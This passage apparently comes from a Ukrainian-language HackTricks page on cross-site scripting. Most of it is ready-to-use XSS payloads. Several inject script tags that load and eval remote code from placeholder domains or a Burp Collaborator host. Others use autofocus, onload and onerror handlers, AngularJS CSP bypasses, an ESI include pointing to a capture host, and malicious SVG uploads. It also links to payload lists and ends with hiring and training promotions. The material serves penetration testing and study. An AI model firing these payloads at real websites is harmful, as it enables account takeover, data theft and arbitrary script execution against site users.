><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Доступ до прихованого контенту
З цього опису можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, введення REGEX все ще можна знайти після того, як значення введення regex було видалено:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS Використання інших вразливостей
XSS в Markdown
Можна ввести код Markdown, який буде відображено? Можливо, ви зможете отримати XSS! Перевірте:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS до SSRF
Отримали XSS на сайті, що використовує кешування? Спробуйте перетворити це на SSRF через Edge Side Include Injection з цим payload:
<esi:include src="http://yoursite.com/capture" />
Використовуйте це, щоб обійти обмеження на куки, фільтри XSS та багато іншого!
Більше інформації про цю техніку тут: XSLT.
XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати обманути бота, який створює PDF, щоб він виконував довільний JS код.
Отже, якщо бот створення PDF знаходить якийсь HTML теги, він буде інтерпретувати їх, і ви можете зловживати цією поведінкою, щоб викликати Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Якщо ви не можете вставити HTML теги, варто спробувати вставити PDF дані:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS в Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через AMP компоненти.
Формат AMP для електронної пошти розширює специфічні AMP компоненти для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
Приклад опису XSS в Amp4Email в Gmail.
XSS завантаження файлів (svg)
Завантажте як зображення файл, подібний до наступного (з http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Знайдіть більше SVG payloads у https://github.com/allanlw/svg-cheatsheet
Різні JS трюки та відповідна інформація
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
Ресурси XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Якщо ви зацікавлені в кар'єрі в хакерстві та зламуванні незламного - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.